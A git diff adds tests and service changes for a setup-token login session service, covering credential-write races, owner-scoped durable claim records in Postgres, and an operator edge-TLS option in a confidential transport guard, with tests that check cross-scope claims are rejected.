+      // The terminal transition wins: it reaches the terminal state before the
+      // credential arrives. The cleanup removes the durable row.
+      await variant.run(service, sessionId);
+      expect(store.rows.has(sessionId)).toBe(false);
+
+      // The credential arrives after the terminal transition. The sink fails
+      // closed: it never calls the writer and it rejects with the fixed,
+      // non-secret error.
+      await expect(processes[0].surfaceCredential(SYNTH_TOKEN)).rejects.toMatchObject({
+        message: SETUP_TOKEN_STORAGE_FAILED,
+      });
+
+      // The writer never committed, so no unintended secret write happened.
+      expect(deferred.startedCount()).toBe(0);
+      expect(deferred.calls).toHaveLength(0);
+      // The durable row holds no stored claim.
+      expect(store.rows.has(sessionId)).toBe(false);
+      // The completion has no success: a read returns the same not-found error.
+      expect(() => service.completeSession(sessionId, OWNER_SCOPE)).toThrow(SETUP_TOKEN_SESSION_NOT_FOUND);
+      // The session released its lease and holds no live session.
+      expect(leases.released).toEqual(["lease-1"]);
+      expect(service.activeSessionCount()).toBe(0);
+    });
+
+    it(`does not erase the stored claim when the write wins the race, then a ${variant.label} arrives`, async () => {
+      const store = new FakeStore();
+      const deferred = buildDeferredWriter(store);
+      const { service, processes, leases } = buildService({ store, completeCredential: deferred.writer });
+      const { sessionId } = await service.start(OWNER_SCOPE);
+      processes[0].surfacePrompt(FULL_LOGIN_URL);
+      service.submitCode(sessionId, OWNER_SCOPE, "code");
+
+      // Start the credential write. It is in flight and holds the session lock, so
+      // a terminal transition that arrives now must wait for the write to settle.
+      const credentialSettled = processes[0].surfaceCredential(SYNTH_TOKEN);
+      await flush();
+      expect(deferred.startedCount()).toBe(1);
+
+      // The terminal transition arrives while the write is in flight. It blocks on
+      // the lock; it does not interleave with the write.
+      const terminalSettled = variant.run(service, sessionId);
+      await flush();
+
+      // The write wins the serialized ordering: it commits, then the service
+      // records the non-secret markers and releases the lock.
+      await deferred.resolve();
+      await credentialSettled;
+      await terminalSettled;
+
+      // The writer committed exactly once. No duplicate write is possible.
+      expect(deferred.startedCount()).toBe(1);
+      expect(deferred.calls).toEqual([{ scope: OWNER_SCOPE, sessionId, token: SYNTH_TOKEN }]);
+      // The terminal transition did not erase the claim: the durable row stays
+      // `stored` and the terminal API reports the completed state.
+      expect(store.rows.get(sessionId)?.state).toBe("stored");
+      const completion = service.completeSession(sessionId, OWNER_SCOPE);
+      expect(completion.storedSessionId).toBe(sessionId);
+      // The service released the sandbox lease at once.
+      expect(leases.released).toEqual(["lease-1"]);
+    });
+  }
+
+  it("does not erase the claim when the process reports success after the write wins a cancel race", async () => {
+    // This proves the natural success path stays intact when a cancel loses the
+    // race: the write commits, the cancel completes the session, and the later
+    // process-done success transition is an idempotent no-op.
+    const store = new FakeStore();
+    const deferred = buildDeferredWriter(store);
+    const { service, processes } = buildService({ store, completeCredential: deferred.writer });
+    const { sessionId } = await service.start(OWNER_SCOPE);
+    processes[0].surfacePrompt(FULL_LOGIN_URL);
+    service.submitCode(sessionId, OWNER_SCOPE, "code");
+
+    const credentialSettled = processes[0].surfaceCredential(SYNTH_TOKEN);
+    await flush();
+    const cancelSettled = service.cancel(sessionId, OWNER_SCOPE);
+    await flush();
+    await deferred.resolve();
+    await credentialSettled;
+    await cancelSettled;
+
+    // The process reports success after the sink resolved. The transition finds a
+    // completed, cleaned-up session and does nothing.
+    processes[0].finish("success");
+    await flush();
+
+    expect(deferred.startedCount()).toBe(1);
+    expect(store.rows.get(sessionId)?.state).toBe("stored");
+    expect(service.completeSession(sessionId, OWNER_SCOPE).storedSessionId).toBe(sessionId);
   });
 });
 
@@ -394,7 +886,7 @@ describe("no secret reaches a sink (SR-1, SR-5)", () => {
     const { sessionId } = await service.start(OWNER_SCOPE);
     processes[0].surfacePrompt(FULL_LOGIN_URL);
     service.submitCode(sessionId, OWNER_SCOPE, "SECRETCODE123");
-    processes[0].surfaceCredential(SYNTH_TOKEN);
+    await processes[0].surfaceCredential(SYNTH_TOKEN);
     const serialized = JSON.stringify([...store.rows.values()]);
     expect(serialized).not.toContain("SECRETCODE123");
     expect(serialized).not.toContain("STATEVALUE");
@@ -521,6 +1013,59 @@ describe("confidential transport guard (SR-6, SR-7)", () => {
     expect(assessConfidentialStartup(authenticatedWithProxy).proxyForwardingEnabled).toBe(true);
   });
 
+  it("allows a forwarded request under the operator edge-TLS declaration (SR-7)", () => {
+    const declared = { ...authenticatedNoProxy, edgeTlsTerminated: true };
+    // The platform edge labels the client hop https.
+    expect(
+      evaluateConfidentialTransport(declared, {
+        socketEncrypted: false,
+        remoteAddress: "203.0.113.7",
+        forwardedProto: "https",
+      }).allowed,
+    ).toBe(true);
+    // A platform edge that strips or never sets the header still counts: the
+    // declaration asserts TLS for every request the platform admits.
+    expect(
+      evaluateConfidentialTransport(declared, {
+        socketEncrypted: false,
+        remoteAddress: "203.0.113.7",
+        forwardedProto: undefined,
+      }).allowed,
+    ).toBe(true);
+  });
+
+  it("still denies a request the edge itself labels plain http under the declaration", () => {
+    const declared = { ...authenticatedNoProxy, edgeTlsTerminated: true };
+    const decision = evaluateConfidentialTransport(declared, {
+      socketEncrypted: false,
+      remoteAddress: "203.0.113.7",
+      forwardedProto: "http",
+    });
+    expect(decision.allowed).toBe(false);
+    expect(decision.reason).toBe("edge_labeled_plain_http");
+  });
+
+  it("keeps failing closed when the declaration is absent, so the default is unchanged", () => {
+    // The same request that the declaration admits fails closed without it —
+    // this pins that adding the option does not loosen the default posture.
+    expect(
+      evaluateConfidentialTransport(authenticatedNoProxy, {
+        socketEncrypted: false,
+        remoteAddress: "203.0.113.7",
+        forwardedProto: "https",
+      }).allowed,
+    ).toBe(false);
+  });
+
+  it("reports the edge-TLS declaration in the startup assessment", () => {
+    const assessment = assessConfidentialStartup({
+      ...authenticatedNoProxy,
+      edgeTlsTerminated: true,
+    });
+    expect(assessment.proxyForwardingEnabled).toBe(true);
+    expect(assessment.reason).toBe("edge_tls_termination_declared");
+  });
+
   it("denies a direct non-loopback HTTP receive-token request, so it delivers no token (SR-6)", () => {
     // The route calls this guard before receive-token. A denied decision makes
     // the route return the fixed no-secret error and never read the token.
@@ -545,3 +1090,323 @@ describe("confidential transport guard (SR-6, SR-7)", () => {
     expect(decision.allowed).toBe(false);
   });
 });
+
+describe("SetupTokenSessionService durable state scope", () => {
+  it("marks the durable record state by the full owner scope", async () => {
+    const store = new FakeStore();
+    const { service, processes } = buildService({ store });
+    const { sessionId } = await service.start(OWNER_SCOPE);
+    processes[0].surfacePrompt(FULL_LOGIN_URL);
+    await new Promise((resolve) => setImmediate(resolve));
+    expect(store.rows.get(sessionId)?.state).toBe("awaiting_code");
+
+    // A foreign-scope mark leaves the row unchanged, so a write never updates a
+    // row by the session id alone.
+    await store.markState(
+      {
+        sessionId,
+        companyId: OWNER_SCOPE.companyId,
+        ownerUserId: "intruder",
+        adapterType: OWNER_SCOPE.adapterType,
+      },
+      "submitting",
+    );
+    expect(store.rows.get(sessionId)?.state).toBe("awaiting_code");
+  });
+});
+
+// --- The durable, database-backed cleanup store ------------------------------
+
+const delay = (ms: number): Promise<void> => new Promise((resolve) => setTimeout(resolve, ms));
+
+const embeddedPostgresSupport = await getEmbeddedPostgresTestSupport();
+const describeEmbeddedPostgres = embeddedPostgresSupport.supported ? describe : describe.skip;
+
+if (!embeddedPostgresSupport.supported) {
+  console.warn(
+    `Skipping durable setup-token cleanup store tests on this host: ${
+      embeddedPostgresSupport.reason ?? "unsupported environment"
+    }`,
+  );
+}
+
+describeEmbeddedPostgres("durable setup-token cleanup store (embedded postgres)", () => {
+  let stopDb: (() => Promise<void>) | undefined;
+  let connectionString!: string;
+  let db!: ReturnType<typeof createDb>;
+
+  beforeAll(async () => {
+    const started = await startEmbeddedPostgresTestDatabase("claude-setup-token-store");
+    stopDb = started.cleanup;
+    connectionString = started.connectionString;
+    db = createDb(connectionString);
+  });
+
+  afterEach(async () => {
+    await db.delete(adapterAuthSessions);
+    await db.delete(environments);
+    await db.delete(companies);
+  });
+
+  afterAll(async () => {
+    await stopDb?.();
+  });
+
+  // The seeded scope carries the intrinsic environment. The store record needs
+  // the environment for the non-null column, but the identity match drops it.
+  type SeededScope = SetupTokenCleanupIdentity & { environmentId: string };
+
+  async function seedCompany(): Promise<string> {
+    const companyId = randomUUID();
+    await db.insert(companies).values({
+      id: companyId,
+      name: "Acme",
+      status: "active",
+      // A unique issue prefix per company; the column has a unique index.
+      issuePrefix: companyId.slice(0, 8),
+      createdAt: new Date(),
+      updatedAt: new Date(),
+    });
+    return companyId;
+  }
+
+  async function seedEnvironment(): Promise<string> {
+    const environmentId = randomUUID();
+    await db.insert(environments).values({
+      id: environmentId,
+      name: `sandbox-${environmentId.slice(0, 8)}`,
+      driver: "sandbox",
+      status: "active",
+      config: { provider: "fake" },
+      createdAt: new Date(),
+      updatedAt: new Date(),
+    });
+    return environmentId;
+  }
+
+  // Seed a company and an environment, then return one fresh record scope.
+  async function seedScope(): Promise<SeededScope> {
+    const companyId = await seedCompany();
+    const environmentId = await seedEnvironment();
+    return {
+      sessionId: randomUUID(),
+      companyId,
+      ownerUserId: `user-${randomUUID().slice(0, 8)}`,
+      adapterType: "claude_local",
+      environmentId,
+    };
+  }
+
+  async function insertRecord(
+    scope: SeededScope,
+    state: SetupTokenCleanupRecord["state"],
+    deadlineMs: number,
+  ): Promise<void> {
+    const store = createDbSetupTokenCleanupStore(db);
+    await store.record({
+      ...scope,
+      leaseId: "lease-1",
+      deadline: deadlineMs,
+      state,
+      boundAt: null,
+    });
+  }
+
+  async function readRow(sessionId: string) {
+    const rows = await db
+      .select()
+      .from(adapterAuthSessions)
+      .where(eq(adapterAuthSessions.publicSessionId, sessionId));
+    return rows[0];
+  }
+
+  it("records the non-secret cleanup record on the unified table and reads it back", async () => {
+    const scope = await seedScope();
+    await insertRecord(scope, "starting", Date.now() + 60_000);
+    const row = await readRow(scope.sessionId);
+    // The store writes the unified `adapter_auth_sessions` columns. The public
+    // session id holds the record session id, and the owner maps to
+    // `started_by_user_id`, the state to `status`.
+    expect(row?.publicSessionId).toBe(scope.sessionId);
+    expect(row?.companyId).toBe(scope.companyId);
+    expect(row?.startedByUserId).toBe(scope.ownerUserId);
+    expect(row?.adapterType).toBe(scope.adapterType);
+    expect(row?.environmentId).toBe(scope.environmentId);
+    expect(row?.status).toBe("starting");
+    expect(row?.boundAt).toBeNull();
+  });
+
+  it("rejects a second active record on the same company, owner, and adapter slot", async () => {
+    const scope = await seedScope();
+    await insertRecord(scope, "awaiting_code", Date.now() + 60_000);
+
+    // A second active record for the same company, owner, and adapter conflicts
+    // on the active-slot unique index, even from a different environment. This
+    // proves the slot dropped the environment term.
+    const secondEnvironment = await seedEnvironment();
+    const sameSlot: SeededScope = {
+      ...scope,
+      sessionId: randomUUID(),
+      environmentId: secondEnvironment,
+    };
+    await expect(insertRecord(sameSlot, "awaiting_code", Date.now() + 60_000)).rejects.toThrow();
+
+    // A different owner in the same company holds an independent slot, so the
+    // insert succeeds.
+    const otherOwner: SeededScope = {
+      ...scope,
+      sessionId: randomUUID(),
+      ownerUserId: `user-${randomUUID().slice(0, 8)}`,
+    };
+    await insertRecord(otherOwner, "awaiting_code", Date.now() + 60_000);
+    expect((await readRow(otherOwner.sessionId))?.startedByUserId).toBe(otherOwner.ownerUserId);
+  });
+
+  it("consumes a stored claim once with one conditional write", async () => {
+    const identity = await seedScope();
+    await insertRecord(identity, "stored", Date.now() + 60_000);
+    const store = createDbSetupTokenCleanupStore(db);
+
+    const first = await store.consumeStoredClaim(identity);
+    expect(first).not.toBeNull();
+    expect(first?.sessionId).toBe(identity.sessionId);
+    expect(first?.boundAt).not.toBeNull();
+    expect((await readRow(identity.sessionId))?.boundAt).not.toBeNull();
+
+    // A second consume finds the claim already consumed and returns no row.
+    const second = await store.consumeStoredClaim(identity);
+    expect(second).toBeNull();
+  });
+
+  it("returns no row for a foreign-scope consume and leaves the claim unconsumed", async () => {
+    const identity = await seedScope();
+    await insertRecord(identity, "stored", Date.now() + 60_000);
+    const store = createDbSetupTokenCleanupStore(db);
+
+    const foreign = await store.consumeStoredClaim({ ...identity, ownerUserId: "intruder" });
+    expect(foreign).toBeNull();
+    expect((await readRow(identity.sessionId))?.boundAt).toBeNull();
+  });
+
+  it("returns no row for a cross-company consume and leaves the claim unconsumed", async () => {
+    const identity = await seedScope();
+    await insertRecord(identity, "stored", Date.now() + 60_000);
+    const store = createDbSetupTokenCleanupStore(db);
+
+    // A claim from another company does not match the stored row. The predicate
+    // scopes on company_id, so the consume returns no row and leaves bound_at null.
+    const otherCompanyId = await seedCompany();
+    const foreign = await store.consumeStoredClaim({ ...identity, companyId: otherCompanyId });
+    expect(foreign).toBeNull();
+    expect((await readRow(identity.sessionId))?.boundAt).toBeNull();
+  });
+
+  it("returns no row for a cross-adapter consume and leaves the claim unconsumed", async () => {
+    const identity = await seedScope();
+    await insertRecord(identity, "stored", Date.now() + 60_000);
+    const store = createDbSetupTokenCleanupStore(db);
+
+    // A claim for a different adapter does not match the stored row. The predicate
+    // scopes on adapter_type, so the consume returns no row and leaves bound_at null.
+    const foreign = await store.consumeStoredClaim({ ...identity, adapterType: "codex_local" });
+    expect(foreign).toBeNull();
+    expect((await readRow(identity.sessionId))?.boundAt).toBeNull();
+  });
+
+  it("returns no row for an expired claim", async () => {
+    const identity = await seedScope();
+    await insertRecord(identity, "stored", Date.now() - 1_000);
+    const store = createDbSetupTokenCleanupStore(db);
+
+    const consumed = await store.consumeStoredClaim(identity);
+    expect(consumed).toBeNull();
+    expect((await readRow(identity.sessionId))?.boundAt).toBeNull();
+  });
+
+  it("returns no row for a non-stored claim", async () => {
+    const identity = await seedScope();
+    await insertRecord(identity, "submitting", Date.now() + 60_000);
+    const store = createDbSetupTokenCleanupStore(db);
+
+    const consumed = await store.consumeStoredClaim(identity);
+    expect(consumed).toBeNull();
+    expect((await readRow(identity.sessionId))?.boundAt).toBeNull();
+  });
+
+  it("lists terminal, expired, and consumed records but not a live stored claim", async () => {
+    const store = createDbSetupTokenCleanupStore(db);
+    const now = Date.now();
+
+    const terminal = await seedScope();
+    await insertRecord(terminal, "failed", now + 60_000);
+
+    const expired = await seedScope();
+    await insertRecord(expired, "awaiting_code", now - 1_000);
+
+    const consumed = await seedScope();
+    await insertRecord(consumed, "stored", now + 60_000);
+    await store.consumeStoredClaim(consumed);
+
+    const liveStored = await seedScope();
+    await insertRecord(liveStored, "stored", now + 60_000);
+
+    const reapable = await store.listReapable(now);
+    const ids = new Set(reapable.map((record) => record.sessionId));
+    expect(ids.has(terminal.sessionId)).toBe(true);
+    expect(ids.has(expired.sessionId)).toBe(true);
+    expect(ids.has(consumed.sessionId)).toBe(true);
+    // A live, unexpired, unconsumed stored claim is not reapable.
+    expect(ids.has(liveStored.sessionId)).toBe(false);
+  });
+
+  it("returns no row when the claim row lock holds until after the deadline", async () => {
+    // This test proves the consume uses `clock_timestamp()`, not
+    // `transaction_timestamp()`. The row starts with a far-future deadline, so
+    // the consume treats it as a valid candidate and waits for the row lock. A
+    // second connection holds the lock, sets a near deadline inside the locked
+    // transaction, and commits after that deadline passes. The consume then
+    // re-checks the predicate against the committed row with the current
+    // database time, so the expired claim returns no row. A
+    // `transaction_timestamp()` predicate would use the stale start time and
+    // wrongly consume the claim.
+    const identity = await seedScope();
+    await insertRecord(identity, "stored", Date.now() + 3_600_000);
+    const store = createDbSetupTokenCleanupStore(db);
+
+    const lockDb = createDb(connectionString);
+    let signalLocked!: () => void;
+    const locked = new Promise<void>((resolve) => {
+      signalLocked = resolve;
+    });
+    let releaseGate!: () => void;
+    const gate = new Promise<void>((resolve) => {
+      releaseGate = resolve;
+    });
+    const lockHeld = lockDb.transaction(async (tx) => {
+      await tx.execute(
+        sql`SELECT bound_at FROM adapter_auth_sessions WHERE public_session_id = ${identity.sessionId} FOR UPDATE`,
+      );
+      // Set a near deadline inside the locked transaction. The consume cannot see
+      // this value until the transaction commits.
+      await tx.execute(
+        sql`UPDATE adapter_auth_sessions SET expires_at = clock_timestamp() + interval '300 milliseconds' WHERE public_session_id = ${identity.sessionId}`,
+      );
+      signalLocked();
+      await gate;
+    });
+
+    // Wait until the lock is truly held, then fire the consume. The consume
+    // blocks on the row lock; its initial scan sees the far-future deadline.
+    await locked;
+    const consumePromise = store.consumeStoredClaim(identity);
+    // Hold the lock until the near deadline passes, then commit.
+    await delay(600);
+    releaseGate();
+    await lockHeld;
+
+    const consumed = await consumePromise;
+    expect(consumed).toBeNull();
+    expect((await readRow(identity.sessionId))?.boundAt).toBeNull();
+    await lockDb.$client.end();
+  });
+});
diff --git a/server/src/services/setup-token-session.ts b/server/src/services/setup-token-session.ts
index d57ab21213c..efe18f3dda6 100644
--- a/server/src/services/setup-token-session.ts
+++ b/server/src/services/setup-token-session.ts
@@ -9,9 +9,8 @@
 // The service gives the harness these operations against the one live session:
 // start the session, read the login prompt, submit one browser code, cancel the
 // session, expire the session on a timeout, and receive the token. Every
-// operation verifies the company, the owner user, and the target agent. A
-// missing session and a cross-scope session both return the same not-found
-// error.
+// operation verifies the company, the owner user, and the adapter. A missing
+// session and a cross-scope session both return the same not-found error.
 //
 // Security controls folded here:
 //   * SR-1 (no secret in a log): the service keeps the full login URL, the
@@ -33,12 +32,29 @@
 //     testable.
 
 import { randomBytes } from "node:crypto";
+import { and, eq, gt, inArray, isNotNull, isNull, lte, or, sql } from "drizzle-orm";
+import type { Db } from "@paperclipai/db";
+import { adapterAuthSessions } from "@paperclipai/db";
+import type { AgentAdapterType } from "@paperclipai/shared";
 
-/** The session states. The four terminal states end the login. */
+// The setup-token login flow supports only the `claude_local` adapter. The
+// unified `adapter_auth_sessions` table also holds the Codex device-login rows,
+// so every store scan filters by this adapter to reach only the setup-token
+// rows.
+const SETUP_TOKEN_ADAPTER_TYPE: AgentAdapterType = "claude_local";
+
+/**
+ * The session states. The four terminal states end the login. The `stored`
+ * state is not terminal: a session enters `stored` after a successful
+ * owner-bound secret write, and the durable row then persists as a one-time
+ * claim. The create path consumes the claim, or the reaper removes the row after
+ * the deadline.
+ */
 export type SetupTokenSessionState =
   | "starting"
   | "awaiting_code"
   | "submitting"
+  | "stored"
   | "completed"
   | "failed"
   | "timed_out"
@@ -57,14 +73,31 @@ export function isTerminalSessionState(state: SetupTokenSessionState): boolean {
 }
 
 /**
- * The immutable owner scope of a session. Every operation verifies all three
- * fields against the stored scope. The service builds the scope once at start
- * and never changes it.
+ * The immutable owner scope of a session. The service builds the scope once at
+ * start and never changes it. The session identity is the company, the owner,
+ * and the adapter. Every operation verifies these three fields against the
+ * stored scope.
+ *
+ * The active company credential slot is scoped to the company, the owner, and
+ * the adapter. Two owners in one company no longer conflict. The scope drops the
+ * environment term from the slot, so the same owner cannot hold one active login
+ * per environment.
  */
 export interface SetupTokenSessionScope {
   companyId: string;
   ownerUserId: string;
-  targetAgentId: string;
+  // The adapter of the login. It is part of the session identity.
+  adapterType: string;
+  // The environment of the login. The store persists it on the row, but it is
+  // not part of the session identity: a caller never addresses a session by the
+  // environment, and the active slot no longer includes the environment.
+  environmentId: string;
+  // The optional confirmed-overwrite capture. The client sends it when a stored
+  // token fails the agent test. The secret writer reads it and rotates the
+  // stored value under the captured version instead of a first write. It is not
+  // part of the session identity: the non-start routes rebuild the scope without
+  // it, so the full-scope match ignores it (see `resolveOwned`).
+  confirmedOverwrite?: { expectedSecretId: string; expectedLatestVersion: number } | null;
 }
 
 /** The terminal outcome of the live login process. */
@@ -95,16 +128,37 @@ export type SetupTokenPromptSink = (prompt: { url: string }) => void;
 
 /**
  * The credential sink the factory calls one time when the login binds the minted
- * token from the success record. The service holds the token in memory only and
- * returns it one time through receive-token. The sink never logs the token.
+ * token from the success record. The sink is asynchronous: it awaits the
+ * owner-bound secret write and rejects on a storage failure. The factory (or the
+ * runner it wraps) awaits this sink before it reports success, so a storage
+ * failure ends the login as a failure. The sink never logs the token and never
+ * returns it.
  */
-export type SetupTokenCredentialSink = (token: string) => void;
+export type SetupTokenCredentialSink = (token: string) => Promise<void>;
+
+/**
+ * The atomic credential-claim writer. The service awaits it one time with the
+ * minted token, the owner scope, and the durable session id. It runs one
+ * control-plane transaction that first transitions the exact durable row to
+ * `stored` with a full-scope conditional update, then performs the owner-bound
+ * secret compare-and-set on the same transaction handle. The commit establishes
+ * the encrypted secret and the `stored` claim together. It resolves on a
+ * successful commit. It rejects and rolls back the whole transaction on a
+ * zero-row transition or on a storage failure, so neither the secret nor the
+ * claim commits. The service holds the token only for this call; it never stores
+ * it.
+ */
+export type SetupTokenSecretWriter = (input: {
+  scope: SetupTokenSessionScope;
+  sessionId: string;
+  token: string;
+}) => Promise<void>;
 
 /**
  * Builds the live login process for one session. The factory receives the
  * prompt sink, the credential sink, the host timeout, and an abort signal that
- * the service aborts on cancel and on expiry. The factory delivers the token one
- * time through the credential sink.
+ * the service aborts on cancel and on expiry. The factory awaits the credential
+ * sink one time before it reports success.
  */
 export type SetupTokenLoginProcessFactory = (params: {
   scope: SetupTokenSessionScope;
@@ -132,31 +186,117 @@ export interface SetupTokenLeaseManager {
 }
 
 /**
- * The non-secret cleanup record. It holds only ids, the deadline, and the
- * terminal state. It never holds a URL, a code, a token, or a raw process chunk
- * (SR-4). The service persists it at start so a restart can reap the lease.
+ * The non-secret cleanup record. It holds only ids, the deadline, the claim
+ * marker, and the state. It never holds a URL, a code, a token, or a raw process
+ * chunk. The service persists it at start so a restart can reap the lease. The
+ * record carries the environment, so the store writes the non-null environment
+ * column on the row.
  */
 export interface SetupTokenCleanupRecord {
   sessionId: string;
   companyId: string;
   ownerUserId: string;
-  targetAgentId: string;
+  adapterType: string;
+  environmentId: string;
   leaseId: string;
   deadline: number;
   state: SetupTokenSessionState;
+  // The claim-consumption marker. It is null while a `stored` claim is live. The
+  // create path sets it one time when it consumes the claim.
+  boundAt: number | null;
+}
+
+/**
+ * The immutable identity of a cleanup record. It is the company, the owner, the
+ * adapter, and the public session id. Every durable write matches on all four
+ * fields, so a write never updates a row by the session id alone.
+ */
+export interface SetupTokenCleanupIdentity {
+  sessionId: string;
+  companyId: string;
+  ownerUserId: string;
+  adapterType: string;
 }
 
 /**
  * The durable store for the non-secret cleanup record. A restart reads the
- * store and reaps a lease whose session is terminal or past its deadline. The
- * store persists no secret.
+ * store and reaps a lease whose session is terminal, past its deadline, or
+ * already consumed. The store persists no secret.
  */
 export interface SetupTokenCleanupStore {
   record(record: SetupTokenCleanupRecord): Promise<void>;
-  markState(sessionId: string, state: SetupTokenSessionState): Promise<void>;
-  remove(sessionId: string): Promise<void>;
-  /** Returns each record whose session is terminal or whose deadline is past. */
+  /**
+   * Marks the state only when the full owner scope and the session id match. The
+   * write never updates a row by the session id alone.
+   */
+  markState(identity: SetupTokenCleanupIdentity, state: SetupTokenSessionState): Promise<void>;
+  /**
+   * Deletes the record only when the full owner scope and the session id match.
+   * The delete never removes a row by the session id alone, so a cross-scope
+   * caller cannot delete a foreign row.
+   */
+  remove(identity: SetupTokenCleanupIdentity): Promise<void>;
+  /**
+   * Returns each record whose session is terminal, whose deadline is past, or
+   * whose claim is already consumed.
+   */
   listReapable(now: number): Promise<SetupTokenCleanupRecord[]>;
+  /**
+   * Consumes a `stored` claim with one conditional write. The predicate carries
+   * the full owner scope, the session id, `state = stored`, an unexpired
+   * deadline that it checks with `clock_timestamp()`, and an unconsumed marker.
+   * The write sets `bound_at` one time and returns the row on a valid consume.
+   * It returns null for a missing, foreign-scope, expired, non-`stored`, or
+   * already-consumed claim. It never reads the state or the expiry in a separate
+   * step. The agent-service transaction calls this method.
+   */
+  consumeStoredClaim(identity: SetupTokenCleanupIdentity): Promise<SetupTokenCleanupRecord | null>;
+}
+
+/** The counts one reaper sweep produced over the durable cleanup store. */
+export interface SetupTokenReapResult {
+  /** The reapable records whose lease released and whose row cleared. */
+  released: number;
+  /** The reapable records whose lease release failed. The row stays for a retry. */
+  failed: number;
+}
+
+/**
+ * The shared setup-token reap logic. It reads the durable store and releases any
+ * lease whose session is terminal, past its deadline, or already consumed. It
+ * runs after a restart and on the scheduler interval, so it frees a lease that a
+ * crash left behind (SR-4). A release failure stays retryable: the sweep leaves
+ * the record for a later run. The standalone reaper and the in-flight session
+ * service both call this function, so both flows use one reap convention.
+ */
+export async function reapSetupTokenLeases(
+  deps: {
+    store: Pick<SetupTokenCleanupStore, "listReapable" | "remove">;
+    leases: Pick<SetupTokenLeaseManager, "releaseById">;
+    log?: (line: string) => void;
+  },
+  now: number,
+): Promise<SetupTokenReapResult> {
+  const log = deps.log ?? (() => {});
+  const records = await deps.store.listReapable(now);
+  let released = 0;
+  let failed = 0;
+  for (const record of records) {
+    try {
+      await deps.leases.releaseById(record.leaseId);
+      await deps.store.remove({
+        sessionId: record.sessionId,
+        companyId: record.companyId,
+        ownerUserId: record.ownerUserId,
+        adapterType: record.adapterType,
+      });
+      released += 1;
+    } catch {
+      failed += 1;
+      log("[paperclip] Setup-token reaper: a lease release failed; it stays retryable.");
+    }
+  }
+  return { released, failed };
 }
 
 /** A per-key start rate limiter. It matches the invite-rate-limit shape. */
@@ -165,14 +305,14 @@ export interface SetupTokenRateLimiter {
 }
 
 export interface SetupTokenSessionCaps {
+  // The active-session cap per company, owner, and adapter slot. The slot cap
+  // mirrors the database active-slot unique index as defense in depth.
   perOwner: number;
-  perAgent: number;
   perCompany: number;
 }
 
 export const DEFAULT_SETUP_TOKEN_SESSION_CAPS: SetupTokenSessionCaps = {
   perOwner: 1,
-  perAgent: 1,
   perCompany: 3,
 };
 
@@ -194,12 +334,21 @@ export const SETUP_TOKEN_SESSION_NOT_FOUND = "Setup-token login session not foun
 export const SETUP_TOKEN_SUBMIT_CONFLICT = "The setup-token login session cannot accept this code.";
 export const SETUP_TOKEN_RATE_LIMITED = "Too many setup-token login attempts. Try again later.";
 export const SETUP_TOKEN_CAP_EXCEEDED = "Too many active setup-token login sessions.";
-export const SETUP_TOKEN_TRANSPORT_INSECURE =
-  "This response requires a secure transport and is not available on this request.";
-// The fixed error for a token that is not ready, or that the owner already
-// received. It never tells the two cases apart, so it leaks no session state.
+// The fixed error for a completion that is not ready. The session is not
+// `completed` with a stored secret yet. It leaks no session state.
 export const SETUP_TOKEN_TOKEN_UNAVAILABLE = "The setup-token is not available for this session.";
 export const SETUP_TOKEN_START_FAILED = "The setup-token login session could not start.";
+// The fixed error for a sandbox provider that does not advertise the setup-token
+// login capability. Only a provider that implements the setup-token
+// pseudo-terminal methods can host the login. The route returns this specific,
+// typed error and starts no session, so an unsupported provider never reaches a
+// session row, a lease, or a pseudo-terminal.
+export const SETUP_TOKEN_PROVIDER_UNSUPPORTED =
+  "The sandbox provider does not support the Claude setup-token login.";
+export const SETUP_TOKEN_PROVIDER_UNSUPPORTED_CODE = "setup_token_provider_unsupported";
+// The fixed error for a failed owner-bound secret write. It carries no token and
+// no storage detail, so it leaks no secret.
+export const SETUP_TOKEN_STORAGE_FAILED = "The setup-token login could not store the credential.";
 
 /** A typed error the route maps to a fixed status and the fixed text above. */
 export class SetupTokenSessionError extends Error {
@@ -244,6 +393,18 @@ export function toSanitizedLoginUrl(rawUrl: string): string {
 export interface ConfidentialTransportConfig {
   deploymentMode: "local_trusted" | "authenticated";
   trustedProxies: string[];
+  /**
+   * The explicit operator declaration that every client request reaches this
+   * server through a platform edge that terminates TLS (a managed PaaS such as
+   * Railway, Render, or Fly, where the app socket is always plain HTTP and the
+   * edge-proxy peer addresses are not operator-visible, so `trustedProxies`
+   * cannot express them). Unlike the global `TRUST_PROXY` setting, which the
+   * guard deliberately never reads (SR-7), this is a dedicated, single-purpose
+   * statement about the confidential login routes only. When declared, a
+   * request is confidential unless the edge itself labels the client hop as
+   * plain `http` in `X-Forwarded-Proto`. Defaults to false.
+   */
+  edgeTlsTerminated?: boolean;
 }
 
 /** The per-request transport signals the guard reads from the raw socket. */
@@ -339,7 +500,12 @@ function forwardedProtoFirstHop(forwardedProto: string | undefined): string | nu
  *   1. The immediate socket is TLS. A direct TLS request is always valid (SR-6).
  *   2. The deployment is `local_trusted` and the peer is loopback. This is the
  *      only local exception (SR-6).
- *   3. The peer is on the dedicated proxy allowlist and the forwarded protocol's
+ *   3. The operator declared platform edge TLS termination
+ *      (`edgeTlsTerminated`) and the edge does not label the client hop as
+ *      plain `http`. The declaration is a deliberate, single-purpose operator
+ *      statement about these routes; it is never derived from `TRUST_PROXY`
+ *      (SR-7).
+ *   4. The peer is on the dedicated proxy allowlist and the forwarded protocol's
  *      first hop is `https`. A `TRUST_PROXY=true` or hop-count value does not
  *      reach this branch, because the guard never reads it (SR-7).
  *
@@ -356,6 +522,16 @@ export function evaluateConfidentialTransport(
   if (config.deploymentMode === "local_trusted" && isLoopbackAddress(request.remoteAddress)) {
     return { allowed: true, reason: "local_trusted_loopback" };
   }
+  if (config.edgeTlsTerminated === true) {
+    // The declaration asserts the client hop is TLS for every request the
+    // platform admits. Believe the edge when it explicitly says otherwise: a
+    // first-hop `http` label means the platform accepted a plain-HTTP client
+    // connection, so that request still fails closed.
+    if (forwardedProtoFirstHop(request.forwardedProto) !== "http") {
+      return { allowed: true, reason: "operator_edge_tls_termination" };
+    }
+    return { allowed: false, reason: "edge_labeled_plain_http" };
+  }
   if (
     config.trustedProxies.length > 0 &&
     peerMatchesAllowlist(request.remoteAddress, config.trustedProxies) &&
@@ -368,7 +544,8 @@ export function evaluateConfidentialTransport(
 
 /**
  * Assesses the confidential transport at startup (SR-7). The server disables
- * proxy-forwarded confidential responses when the dedicated allowlist is empty.
+ * proxy-forwarded confidential responses when the dedicated allowlist is empty
+ * and the operator has not declared platform edge TLS termination.
  * A direct TLS request and a `local_trusted` loopback request still pass at
  * runtime, because the runtime guard checks them first. The server logs the
  * returned reason so an operator can see why forwarded requests fail closed.
